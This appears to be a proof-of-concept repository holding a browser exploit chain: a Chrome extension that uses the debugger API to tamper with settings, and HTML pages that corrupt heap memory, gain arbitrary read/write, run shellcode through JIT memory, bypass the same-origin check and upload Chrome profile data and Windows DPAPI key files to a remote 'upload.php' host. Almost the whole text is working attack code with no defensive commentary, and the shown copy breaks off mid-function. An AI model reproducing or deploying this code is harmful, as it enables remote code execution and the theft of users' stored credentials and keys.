├── .gitattributes
├── .gitignore
├── extension
    ├── background.js
    └── manifest.json
└── html
    ├── index.html
    └── infile.html


/.gitattributes:
--------------------------------------------------------------------------------
 1 | # Auto detect text files and perform LF normalization
 2 | * text=auto
 3 | 
 4 | # Custom for Visual Studio
 5 | *.cs     diff=csharp
 6 | 
 7 | # Standard to msysgit
 8 | *.doc	 diff=astextplain
 9 | *.DOC	 diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot  diff=astextplain
13 | *.DOT  diff=astextplain
14 | *.pdf  diff=astextplain
15 | *.PDF	 diff=astextplain
16 | *.rtf	 diff=astextplain
17 | *.RTF	 diff=astextplain
18 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | # Windows image file caches
 2 | Thumbs.db
 3 | ehthumbs.db
 4 | 
 5 | # Folder config file
 6 | Desktop.ini
 7 | 
 8 | # Recycle Bin used on file shares
 9 | $RECYCLE.BIN/
10 | 
11 | # Windows Installer files
12 | *.cab
13 | *.msi
14 | *.msm
15 | *.msp
16 | 
17 | # Windows shortcuts
18 | *.lnk
19 | 
20 | # =========================
21 | # Operating System Files
22 | # =========================
23 | 
24 | # OSX
25 | # =========================
26 | 
27 | .DS_Store
28 | .AppleDouble
29 | .LSOverride
30 | 
31 | # Thumbnails
32 | ._*
33 | 
34 | # Files that might appear in the root of a volume
35 | .DocumentRevisions-V100
36 | .fseventsd
37 | .Spotlight-V100
38 | .TemporaryItems
39 | .Trashes
40 | .VolumeIcon.icns
41 | 
42 | # Directories potentially created on remote AFP share
43 | .AppleDB
44 | .AppleDesktop
45 | Network Trash Folder
46 | Temporary Items
47 | .apdisk
48 | 


--------------------------------------------------------------------------------
/extension/background.js:
--------------------------------------------------------------------------------
 1 | targetId = null;
 2 | 
 3 | function sleep(milliseconds) {
 4 | 	var start = new Date().getTime();
 5 | 	for (;;) {
 6 | 		if ((new Date().getTime() - start) > milliseconds)
 7 | 			break;
 8 | 	}
 9 | }
10 | 
11 | chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) {
12 | 	chrome.debugger.attach({tabId: tab.id}, "1.0", function () {
13 | 		sleep(1000);
14 | 		chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) {
15 | 			sleep(100);
16 | 			chrome.downloads.showDefaultFolder();
17 | 			chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'});
18 | 		});
19 | 	});
20 | });
21 | 


--------------------------------------------------------------------------------
/extension/manifest.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name" : "xxxxxxxxxxxx",
 3 |   "version" : "1.0.0",
 4 |   "description" : "asdfsadf",
 5 |   "background" : { "scripts": ["background.js"] },
 6 |   "permissions" : [
 7 |     "tabs",
 8 |     "downloads",
 9 |     "debugger",
10 |     "<all_urls>"
11 |    ],
12 |   "minimum_chrome_version" : "6.0.0.0",
13 |   "manifest_version": 2
14 | }
15 | 


--------------------------------------------------------------------------------
/html/index.html:
--------------------------------------------------------------------------------
  1 | <script>
  2 | 
  3 | window.gc = function () {
  4 | 	for (i = 0; i < 50; i++) {
  5 | 		zz = new ArrayBuffer(0x100000);
  6 | 		zz = null;
  7 | 	}
  8 | };
  9 | 
 10 | 
 11 | var dontGc	= [];
 12 | 
 13 | function next(freed, addressIdx, corrupt, fileName) {
 14 | 	function getArrayBufferAddr(ab) {
 15 | 		freed[addressIdx] 	= ab;
 16 | 		var tmp				= new Uint8Array(corrupt);
 17 | 
 18 | 		return (tmp[14] << 24) | (tmp[13] << 16) | (tmp[12] << 8) | tmp[11];
 19 | 	}
 20 | 
 21 | 	function getStringAddr(str) {
 22 | 		var a = new Uint8Array(str.length + 1);
 23 | 		dontGc.push(a);
 24 | 
 25 | 		for (var i = 0; i < str.length; i++)
 26 | 			a[i] = str.charCodeAt(i);
 27 | 
 28 | 		return getArrayBufferAddr(a.buffer);
 29 | 	}
 30 | 
 31 | 	function getBlobAddr(ab) {
 32 | 		freed[addressIdx] 	= ab;
 33 | 		var tmp				= new Uint8Array(corrupt);
 34 | 
 35 | 		return (tmp[18] << 24) | (tmp[17] << 16) | (tmp[16] << 8) | tmp[15];
 36 | 	}
 37 | 
 38 | 	function read32(addr) {
 39 | 		return mem32[addr/4];
 40 | 	}
 41 | 
 42 | 	function read16(addr) {
 43 | 		return mem16[addr/2];
 44 | 	}
 45 | 
 46 | 	function read8(addr) {
 47 | 		return mem8[addr];
 48 | 	}
 49 | 
 50 | 	function readString(addr) {
 51 | 		var r = "";
 52 | 
 53 | 		for (; mem8[addr] != 0; addr++)
 54 | 			r += String.fromCharCode(mem8[addr]);
 55 | 
 56 | 		return r;
 57 | 	}
 58 | 
 59 | 	function write32(addr, value) {
 60 | 		mem32[addr/4] = value;
 61 | 	}
 62 | 
 63 | 	function findMZ() {
 64 | 		function slowRead32(addr) {
 65 | 			freed[addressIdx] = addr >> 1;
 66 | 			return new Uint32Array(corrupt)[0];
 67 | 		}
 68 | 
 69 | 		var baseAddr = slowRead32(leaked[0]) & 0xfffff000;
 70 | 
 71 | 		while (true) {
 72 | 			if (slowRead32(baseAddr) == 0x00905a4d) {
 73 | 				return baseAddr;
 74 | 			}
 75 | 
 76 | 			baseAddr -= 0x1000;
 77 | 		}
 78 | 	}
 79 | 
 80 | 	var blob   	= new Blob(); freed[addressIdx] = getBlobAddr(blob) >> 1;
 81 | 	var leaked 	= new Uint32Array(corrupt);
 82 | 	var ropBuf 	= new ArrayBuffer(0x10000);
 83 | 
 84 | 	var ropAddr = getArrayBufferAddr(ropBuf);
 85 | 
 86 | 	if (ropAddr & 0xfff != 0) {
 87 | 		var newAddr = (ropAddr + 0x1000) & 0xfffff000;
 88 | 		rop = new Uint32Array(ropBuf, newAddr - ropAddr);
 89 | 
 90 | 		ropAddr = newAddr;
 91 | 	} else {
 92 | 		rop = new Uint32Array(ropBuf);
 93 | 	}
 94 | 
 95 | 	freed[addressIdx] = leaked[0] >> 1;
 96 | 
 97 | 	var mzAddr = findMZ(); freed[addressIdx] = mzAddr >> 1;
 98 | 	var mem8   = new Uint8Array(corrupt);
 99 | 	var mem16  = new Uint16Array(corrupt);
100 | 	var mem32  = new Uint32Array(corrupt);
101 | 
102 | 	var virtualProtect  		= null;
103 | 	var writeFile				= null;
104 | 	var getEnvironmentVariableA = null;
105 | 
106 | 	function resolveSymbols(syms, itAddr) {
107 | 		var ret = {};
108 | 
109 | 		for (var dllName in syms)
110 | 			ret[dllName] = {};
111 | 
112 | 		while (true) {
113 | 			var intRva 	= read32(itAddr); itAddr += 12;
114 | 			var nameRva = read32(itAddr); itAddr += 4;
115 | 			var iatRva 	= read32(itAddr); itAddr += 4;
116 | 
117 | 			if (!intRva)
118 | 				break;
119 | 
120 | 			if (!Object.keys(syms).length)
121 | 				break;
122 | 
123 | 			for (var dllName in syms) {
124 | 				if (readString(nameRva).toLowerCase() == dllName) {
125 | 					for (var i = 0, nameAddr = read32(intRva); nameAddr != 0; i++, intRva += 4, nameAddr = read32(intRva)) {
126 | 						var func = readString(nameAddr + 2);
127 | 						var idx = syms[dllName].indexOf(func);
128 | 
129 | 						if (idx != -1) {
130 | 							ret[dllName][func] = read32(iatRva + (i * 4));
131 | 							syms[dllName].splice(idx, 1);
132 | 
133 | 							if (!syms[dllName].length) {
134 | 								delete syms[dllName];
135 | 								break;
136 | 							}
137 | 						}
138 | 					}
139 | 				}
140 | 			}
141 | 		}
142 | 
143 | 		return ret;
144 | 	}
145 | 
146 | 	var syms = resolveSymbols({"kernel32.dll": ["VirtualProtect", "WriteFile", "GetEnvironmentVariableA", "GetFileInformationByHandle"]}, read32(read32(0x3c) + 0x80));
147 | 
148 | 	function findXchgEaxEsp(minPc) {
149 | 		var text = read32(read32(0x3c) + 0x2c);
150 | 		if (minPc == null)
151 | 			minPc = 0;
152 | 
153 | 		for (var i = 0; ; i++) {
154 | 			if (read8(text + i) != 0x94)
155 | 				continue;
156 | 
157 | 			var popCount = 0;
158 | 
159 | 			for (var j = i + 1; j < i + 10; j++) {
160 | 				var c = read8(text + j);
161 | 
162 | 				if (c >= 0x50 && c <= 0x5f && c != 0x5c) {
163 | 					popCount++;
164 | 					continue;
165 | 				}
166 | 				
167 | 				if (c == 0xc3) {
168 | 					if (popCount > minPc)
169 | 						return [text + i, popCount];
170 | 				}
171 | 
172 | 				break;
173 | 			}
174 | 		}
175 | 	}
176 | 
177 | 	function executeShellcode(sc) {
178 | 		var code = "tmp = [];";
179 | 		for (var i = 0; i < 0x10000; i++)
180 | 			code += "tmp[" + i + "] = " + i + ";";
181 | 
182 | 		var f = new Function("a", code);
183 | 		f();
184 | 		dontGc.push(f);
185 | 
186 | 		function getJitAddress() {
187 | 			freed[addressIdx] 	= f;
188 | 
189 | 			var tmp				= new Uint8Array(corrupt);
190 | 			return (tmp[14] << 24) | (tmp[13] << 16) | (tmp[12] << 8) | tmp[11];
191 | 		}
192 | 
193 | 		var jit = getJitAddress();
194 | 
195 | 		freed[addressIdx] = jit >> 1;
196 | 
197 | 		var tmp	= new Uint8Array(corrupt);
198 | 
199 | 		for (var i = 0; i < sc.length; i++)
200 | 			tmp[i] = sc[i];
201 | 
202 | 		f();
203 | 	}
204 | 
205 | 	function pushImm(v) {
206 | 		return [0x68, v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff, (v >> 24) & 0xff];
207 | 	}
208 | 
209 | 	var sc = [];
210 | 	sc = sc.concat(pushImm(getStringAddr("/Downloads/" + fileName)));
211 | 	sc = sc.concat(pushImm(syms["kernel32.dll"]["GetEnvironmentVariableA"]));
212 | 	sc = sc.concat(pushImm(syms["kernel32.dll"]["GetFileInformationByHandle"]));
213 | 	sc = sc.concat(pushImm(syms["kernel32.dll"]["WriteFile"]));
214 | 	sc = sc.concat(pushImm(0));
215 | 	sc = sc.concat([0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x24, 0x01, 0x00, 0x00, 0xC6, 0x45, 0xE8, 0x55, 0xC6, 0x45, 0xE9, 0x53, 0xC6, 0x45, 0xEA, 0x45, 0xC6, 0x45, 0xEB, 0x52, 0xC6, 0x45, 0xEC, 0x50, 0xC6, 0x45, 0xED, 0x52, 0xC6, 0x45, 0xEE, 0x4F, 0xC6, 0x45, 0xEF, 0x46, 0xC6, 0x45, 0xF0, 0x49, 0xC6, 0x45, 0xF1, 0x4C, 0xC6, 0x45, 0xF2, 0x45, 0xC6, 0x45, 0xF3, 0x00, 0xC6, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x90, 0xC6, 0x85, 0x49, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x4A, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x4B, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x4C, 0xFF, 0xFF, 0xFF, 0x02, 0xC6, 0x85, 0x4D, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x4E, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x4F, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x50, 0xFF, 0xFF, 0xFF, 0xF2, 0xC6, 0x85, 0x51, 0xFF, 0xFF, 0xFF, 0x02, 0xC6, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x28, 0xC6, 0x85, 0x53, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x02, 0xC6, 0x85, 0x55, 0xFF, 0xFF, 0xFF, 0xC1, 0xC6, 0x85, 0x56, 0xFF, 0xFF, 0xFF, 0x12, 0xC6, 0x85, 0x57, 0xFF, 0xFF, 0xFF, 0x94, 0xC6, 0x85, 0x58, 0xFF, 0xFF, 0xFF, 0x01, 0xC6, 0x85, 0x59, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x5A, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x5B, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x5C, 0xFF, 0xFF, 0xFF, 0x7D, 0xC6, 0x85, 0x5D, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x5E, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x5F, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0x66, 0xC6, 0x85, 0x61, 0xFF, 0xFF, 0xFF, 0x69, 0xC6, 0x85, 0x62, 0xFF, 0xFF, 0xFF, 0x6C, 0xC6, 0x85, 0x63, 0xFF, 0xFF, 0xFF, 0x65, 0xC6, 0x85, 0x64, 0xFF, 0xFF, 0xFF, 0x3A, 0xC6, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x2F, 0xC6, 0x85, 0x66, 0xFF, 0xFF, 0xFF, 0x2F, 0xC6, 0x85, 0x67, 0xFF, 0xFF, 0xFF, 0x2F, 0xC6, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x69, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x6A, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x6D, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x6E, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x6F, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x71, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x72, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x73, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x74, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x75, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x76, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x78, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x79, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x7A, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x7B, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x7C, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x7D, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x7E, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x85, 0x7F, 0xFF, 0xFF, 0xFF, 0x00, 0xC6, 0x45, 0x80, 0x00, 0xC6, 0x45, 0x81, 0x00, 0xC6, 0x45, 0x82, 0x00, 0xC6, 0x45, 0x83, 0x00, 0xC6, 0x45, 0x84, 0x00, 0xC6, 0x45, 0x85, 0x00, 0xC6, 0x45, 0x86, 0x00, 0xC6, 0x45, 0x87, 0x00, 0xC6, 0x45, 0x88, 0x00, 0xC6, 0x45, 0x89, 0x00, 0xC6, 0x45, 0x8A, 0x00, 0xC6, 0x45, 0x8B, 0x00, 0xC6, 0x45, 0x8C, 0x00, 0xC6, 0x45, 0x8D, 0x00, 0xC6, 0x45, 0x8E, 0x00, 0xC6, 0x45, 0x8F, 0x00, 0xC6, 0x45, 0x90, 0x00, 0xC6, 0x45, 0x91, 0x00, 0xC6, 0x45, 0x92, 0x00, 0xC6, 0x45, 0x93, 0x00, 0xC6, 0x45, 0x94, 0x00, 0xC6, 0x45, 0x95, 0x00, 0xC6, 0x45, 0x96, 0x00, 0xC6, 0x45, 0x97, 0x00, 0xC6, 0x45, 0x98, 0x00, 0xC6, 0x45, 0x99, 0x00, 0xC6, 0x45, 0x9A, 0x00, 0xC6, 0x45, 0x9B, 0x00, 0xC6, 0x45, 0x9C, 0x00, 0xC6, 0x45, 0x9D, 0x00, 0xC6, 0x45, 0x9E, 0x00, 0xC6, 0x45, 0x9F, 0x00, 0xC6, 0x45, 0xA0, 0x00, 0xC6, 0x45, 0xA1, 0x00, 0xC6, 0x45, 0xA2, 0x00, 0xC6, 0x45, 0xA3, 0x00, 0xC6, 0x45, 0xA4, 0x00, 0xC6, 0x45, 0xA5, 0x00, 0xC6, 0x45, 0xA6, 0x00, 0xC6, 0x45, 0xA7, 0x00, 0xC6, 0x45, 0xA8, 0x00, 0xC6, 0x45, 0xA9, 0x00, 0xC6, 0x45, 0xAA, 0x00, 0xC6, 0x45, 0xAB, 0x00, 0xC6, 0x45, 0xAC, 0x00, 0xC6, 0x45, 0xAD, 0x00, 0xC6, 0x45, 0xAE, 0x00, 0xC6, 0x45, 0xAF, 0x00, 0xC6, 0x45, 0xB0, 0x00, 0xC6, 0x45, 0xB1, 0x00, 0xC6, 0x45, 0xB2, 0x00, 0xC6, 0x45, 0xB3, 0x00, 0xC6, 0x45, 0xB4, 0x00, 0xC6, 0x45, 0xB5, 0x00, 0xC6, 0x45, 0xB6, 0x00, 0xC6, 0x45, 0xB7, 0x00, 0xC6, 0x45, 0xB8, 0x00, 0xC6, 0x45, 0xB9, 0x00, 0xC6, 0x45, 0xBA, 0x00, 0xC6, 0x45, 0xBB, 0x00, 0xC6, 0x45, 0xBC, 0x00, 0xC6, 0x45, 0xBD, 0x00, 0xC6, 0x45, 0xBE, 0x00, 0xC6, 0x45, 0xBF, 0x00, 0xC6, 0x45, 0xC0, 0x00, 0xC6, 0x45, 0xC1, 0x00, 0xC6, 0x45, 0xC2, 0x00, 0xC6, 0x45, 0xC3, 0x00, 0xC6, 0x45, 0xC4, 0x00, 0xC6, 0x45, 0xC5, 0x00, 0xC6, 0x45, 0xC6, 0x00, 0xC6, 0x45, 0xC7, 0x00, 0xC6, 0x45, 0xC8, 0x00, 0xC6, 0x45, 0xC9, 0x00, 0xC6, 0x45, 0xCA, 0x00, 0xC6, 0x45, 0xCB, 0x00, 0xC6, 0x45, 0xCC, 0x00, 0xC6, 0x45, 0xCD, 0x00, 0xC6, 0x45, 0xCE, 0x00, 0xC6, 0x45, 0xCF, 0x00, 0xC6, 0x45, 0xD0, 0x00, 0xC6, 0x45, 0xD1, 0x00, 0xC6, 0x45, 0xD2, 0x00, 0xC6, 0x45, 0xD3, 0x00, 0xC6, 0x45, 0xD4, 0x00, 0xC6, 0x45, 0xD5, 0x00, 0xC6, 0x45, 0xD6, 0x00, 0xC6, 0x45, 0xD7, 0x00, 0xC6, 0x45, 0xD8, 0x00, 0xC6, 0x45, 0xD9, 0x00, 0xC6, 0x45, 0xDA, 0x00, 0xC6, 0x45, 0xDB, 0x00, 0xC6, 0x45, 0xDC, 0x00, 0xC6, 0x45, 0xDD, 0x00, 0xC6, 0x45, 0xDE, 0x00, 0xC6, 0x45, 0xDF, 0x00, 0xC6, 0x45, 0xE0, 0x02, 0xC6, 0x45, 0xE1, 0x00, 0xC6, 0x45, 0xE2, 0x00, 0xC6, 0x45, 0xE3, 0x00, 0xC6, 0x45, 0xE4, 0x00, 0xC6, 0x45, 0xE5, 0x00, 0xC6, 0x45, 0xE6, 0x00, 0xC6, 0x45, 0xE7, 0x00, 0x68, 0xC8, 0x00, 0x00, 0x00, 0x8D, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x50, 0x8D, 0x4D, 0xE8, 0x51, 0xFF, 0x55, 0x10, 0x83, 0xC0, 0x20, 0x89, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x55, 0x14, 0x03, 0x55, 0xF4, 0x0F, 0xBE, 0x02, 0x85, 0xC0, 0x74, 0x2F, 0x8B, 0x4D, 0x14, 0x03, 0x4D, 0xF4, 0x8B, 0x95, 0x44, 0xFF, 0xFF, 0xFF, 0x8A, 0x01, 0x88, 0x84, 0x15, 0x48, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x44, 0xFF, 0xFF, 0xFF, 0x83, 0xC1, 0x01, 0x89, 0x8D, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x55, 0xF4, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xF4, 0xEB, 0xC4, 0xC7, 0x45, 0xFC, 0x10, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xFC, 0x81, 0x7D, 0xFC, 0x00, 0x03, 0x00, 0x00, 0x7D, 0x61, 0x8D, 0x8D, 0xDC, 0xFE, 0xFF, 0xFF, 0x51, 0x8B, 0x55, 0xFC, 0x52, 0xFF, 0x55, 0x0C, 0x0F, 0xB6, 0xC0, 0x85, 0xC0, 0x75, 0x02, 0xEB, 0xD7, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x4D, 0xF8, 0x83, 0xC1, 0x01, 0x89, 0x4D, 0xF8, 0x83, 0x7D, 0xF8, 0x0A, 0x7D, 0x30, 0xBA, 0x01, 0x00, 0x00, 0x00, 0xC1, 0xE2, 0x04, 0x8A, 0x45, 0xF8, 0x88, 0x84, 0x15, 0x48, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x8D, 0x8D, 0x40, 0xFF, 0xFF, 0xFF, 0x51, 0x68, 0xA0, 0x00, 0x00, 0x00, 0x8D, 0x95, 0x48, 0xFF, 0xFF, 0xFF, 0x52, 0x8B, 0x45, 0xFC, 0x50, 0xFF, 0x55, 0x08, 0xEB, 0xC1, 0xEB, 0x8D, 0xC9, 0x83, 0xC4, 0x14, 0xC3]);
216 | 	executeShellcode(sc);
217 | 	
218 | 	for (;;)
219 | 		alert("done");
220 | }
221 | 
222 | function fail() {
223 | 	setTimeout("document.location.reload();", 100);
224 | }
225 | 
226 | function exploit(fileName) {
227 | 	var JUNK_SIZE = 0x400;
228 | 	var JUNK_TAG = 0x21827313;
229 | 
230 | 	var arrayCreator = [];
231 | 	for (var i = 0; i < 1000; i++) {
232 | 		arrayCreator[i] = (function () {
233 | 			var a = Array.apply(null, new Array(JUNK_SIZE - 2)).map(function () {return 0x11111111;});
234 | 			var b = [];
235 | 
236 | 			a[1] = 0x12345678;
237 | 			a.__defineGetter__("0", function () {
238 | 				b.length = JUNK_SIZE * 2;
239 | 				return 0x21983478;
240 | 			});
241 | 
242 | 			return function () {
243 | 				return a.concat(b);
244 | 			};
245 | 		})();
246 | 	}
247 | 
248 | 	var tmp = [];
249 | 	for (var i = 0; i < 100; i++)
250 | 		tmp[i] = Array.apply(null, new Array(200)).map(function () {return 1234;});
251 | 
252 | 	var obj			= tmp[tmp.length/2];
253 | 	var abs 		= new Array(0x200000); for (var i = 0; i < abs.length; i++) abs[i] = null;
254 | 	var holes 		= Array.apply(null, new Array(arrayCreator.length * 2));
255 | 	var junks 		= Array.apply(null, new Array(arrayCreator.length));
256 | 	var corrupts 	= Array.apply(null, new Array(arrayCreator.length));
257 | 	var t 			= Array.apply(null, new Array(JUNK_SIZE - 2)).map(function () {return 0x22222222;});
258 | 
259 | 	dontGc.push(abs);
260 | 	//Array.apply(null, new Array(0x1c * 10));
261 | 
262 | 	t[0] 	= JUNK_TAG;
263 | 
264 | 	for (var i = 0; i < holes.length; i++)
265 | 		holes[i] = t.concat();
266 | 
267 | 	for (var i = 0; i < arrayCreator.length; i++) {
268 | 		junks[i] = t.concat();
269 | 		corrupts[i] = arrayCreator[i]();
270 | 	}
271 | 
272 | 	for (var i = 0; i < junks.length; i++)
273 | 		junks[i][0x20] = obj;
274 | 
275 | 	var idxs = [];
276 | 
277 | 	for (var i = 400; i < 700; i++) {
278 | 		var v = corrupts[i][JUNK_SIZE];
279 | 		if (Number.isInteger(v) && v == JUNK_TAG) {
280 | 			idxs.push(i);
281 | 		}
282 | 	}
283 | 
284 | 	t = null;
285 | 	junks = null;
286 | 	//holes = null;
287 | 	gc();
288 | 	
289 | 	obj = null;
290 | 	gc();
291 | 
292 | 
293 | 	function findFreed() {
294 | 		for (var i = 0; i < idxs.length; i++) {
295 | 			var v = corrupts[idxs[i]][JUNK_SIZE + 0x20];
296 | 			if (v != null && v.length) {
297 | 				return v;
298 | 			}
299 | 		}
300 | 
301 | 		return null;
302 | 	}
303 | 
304 | 	var freed = findFreed();
305 | 
306 | 	if (!freed)
307 | 		return fail();
308 | 
309 | 	dontGc.push(freed);
310 | 	gc();
311 | 
312 | 	for (var i = 0; i < abs.length; i++)
313 | 		abs[i] = new ArrayBuffer(7);
314 | 
315 | 	function findCorrupt() {
316 | 		for (var i = 0; i < abs.length; i++) {
317 | 			if (abs[i].byteLength != 7) {
318 | 				return abs[i];
319 | 			}
320 | 		}
321 | 
322 | 		return null;
323 | 	}
324 | 
325 | 	for (var i = 1; i < freed.length; i++) {
326 | 		if (!Number.isSafeInteger(freed[i]) || freed[i] != 7)
327 | 			continue;
328 | 
329 | 		freed[i] = 0x30000000;
330 | 		var ab = findCorrupt();
331 | 		if (ab)
332 | 			return next(freed, i - 1, ab, fileName);
333 | 
334 | 		freed[i] = 7;
335 | 	}
336 | 
337 | 	return fail();
338 | 
339 | }
340 | 
341 | function main() {
342 | 	var fileName = String(Math.random()).substr(2) + ".html";
343 | 	var a = document.createElement("a");
344 | 	a.href = "infile.html";
345 | 	a.download = fileName;
346 | 	a.click();
347 | 
348 | 	exploit(fileName);
349 | }
350 | 
351 | main();
352 | 
353 | </script>


--------------------------------------------------------------------------------
/html/infile.html:
--------------------------------------------------------------------------------
  1 | <script>
  2 | 
  3 | window.gc = function () {
  4 | 	for (i = 0; i < 50; i++) {
  5 | 		zz = new ArrayBuffer(0x100000);
  6 | 		zz = null;
  7 | 	}
  8 | };
  9 | 
 10 | var dontGc	= [];
 11 | 
 12 | function next(freed, addressIdx, corrupt) {
 13 | 	function upload(url, data) {
 14 | 		var ui = new Uint8Array(data.length);
 15 | 		for (var i = 0; i < data.length; i++)
 16 | 			ui[i] = data.charCodeAt(i) & 0xff;
 17 | 
 18 | 		var x = new XMLHttpRequest();
 19 | 		x.open("POST", url, false);
 20 | 		x.send(ui);
 21 | 	}
 22 | 
 23 | 	function download(fileName) {
 24 | 		var x = new XMLHttpRequest();
 25 | 		x.open("GET", fileName, false);
 26 | 		x.overrideMimeType("text/plain; charset=x-user-defined");
 27 | 		x.send(null);
 28 | 
 29 | 		return x.responseText;
 30 | 	}
 31 | 
 32 | 	function listDir(dirPath) {
 33 | 		var a = download(dirPath);
 34 | 		var lists = a.split("addRow(").slice(2);
 35 | 		for (var i = 0; i < lists.length; i++)
 36 | 			lists[i] = eval("[" + lists[i].split(");")[0] + "]");
 37 | 
 38 | 		return lists;
 39 | 	}
 40 | 
 41 | 	function walk(dirPath, prefix) {
 42 | 		if (prefix == null)
 43 | 			prefix = ".";
 44 | 
 45 | 		var lists = listDir(dirPath);
 46 | 		var ret = [];
 47 | 
 48 | 		for (var i = 0; i < lists.length; i++) {
 49 | 			if (lists[i][0] == "." || lists[i][0] == "..")
 50 | 				continue;
 51 | 
 52 | 			if (lists[i][2] == 0) {
 53 | 				ret.push([prefix + "/" + lists[i][0], dirPath + "/" + lists[i][0]]);
 54 | 				continue;
 55 | 			}
 56 | 
 57 | 			ret = ret.concat(walk(dirPath + "/" + lists[i][0], prefix + "/" + lists[i][0]));
 58 | 		}
 59 | 
 60 | 		return ret;
 61 | 	}
 62 | 
 63 | 	function patchSecurityOrigin() {
 64 | 		function slowRead32(addr) {
 65 | 			freed[addressIdx] = addr >> 1;
 66 | 			return new Uint32Array(corrupt)[0];
 67 | 		}
 68 | 
 69 | 		function slowWrite8(addr, value) {
 70 | 			freed[addressIdx] = addr >> 1;
 71 | 
 72 | 			if (addr & 1)
 73 | 				new Uint8Array(corrupt)[1] = value;
 74 | 			else
 75 | 				new Uint8Array(corrupt)[0] = value;
 76 | 		}
 77 | 
 78 | 		var x = new XMLHttpRequest();
 79 | 		freed[addressIdx] = x;
 80 | 		var tmp	= new Uint8Array(corrupt);
 81 | 		var addr = (tmp[18] << 24) | (tmp[17] << 16) | (tmp[16] << 8) | tmp[15];
 82 | 
 83 | 		addr = slowRead32(addr + 0x2c);
 84 | 		addr = slowRead32(addr + 8);
 85 | 		addr = slowRead32(addr - 0x4c + 8);
 86 | 
 87 | 		slowWrite8(addr + 0x17, 1);
 88 | 	}
 89 | 
 90 | 	patchSecurityOrigin();
 91 | 	var uploadUrl = "http://host/upload.php";
 92 | 
 93 | 	upload(uploadUrl + "?fileName=Preferences", download("../AppData/Local/Google/Chrome/User Data/Default/Preferences"));
 94 | 	upload(uploadUrl + "?fileName=Web Data", download("../AppData/Local/Google/Chrome/User Data/Default/Web Data"));
 95 | 
 96 | 	var keyFiles = walk("../AppData/Roaming/Microsoft/Protect", "keys");
 97 | 
 98 | 	for (var i = 0; i < keyFiles.length; i++)
 99 | 		upload(uploadUrl + "?fileName=" + keyFiles[i][0], download(keyFiles[i][1]));
100 | }
101 | 
102 | function fail() {
103 | 	setTimeout("document.location.reload();", 100);
104 | }
105 | 
106 | function exploit() {
107 | 	var JUNK_SIZE = 0x400;
108 | 	var JUNK_TAG = 0x21827313;
109 | 
110 | 	var arrayCreator = [];
111 | 	for (var i = 0; i < 1000; i++) {
112 | 		arrayCreator[i] = (function () {
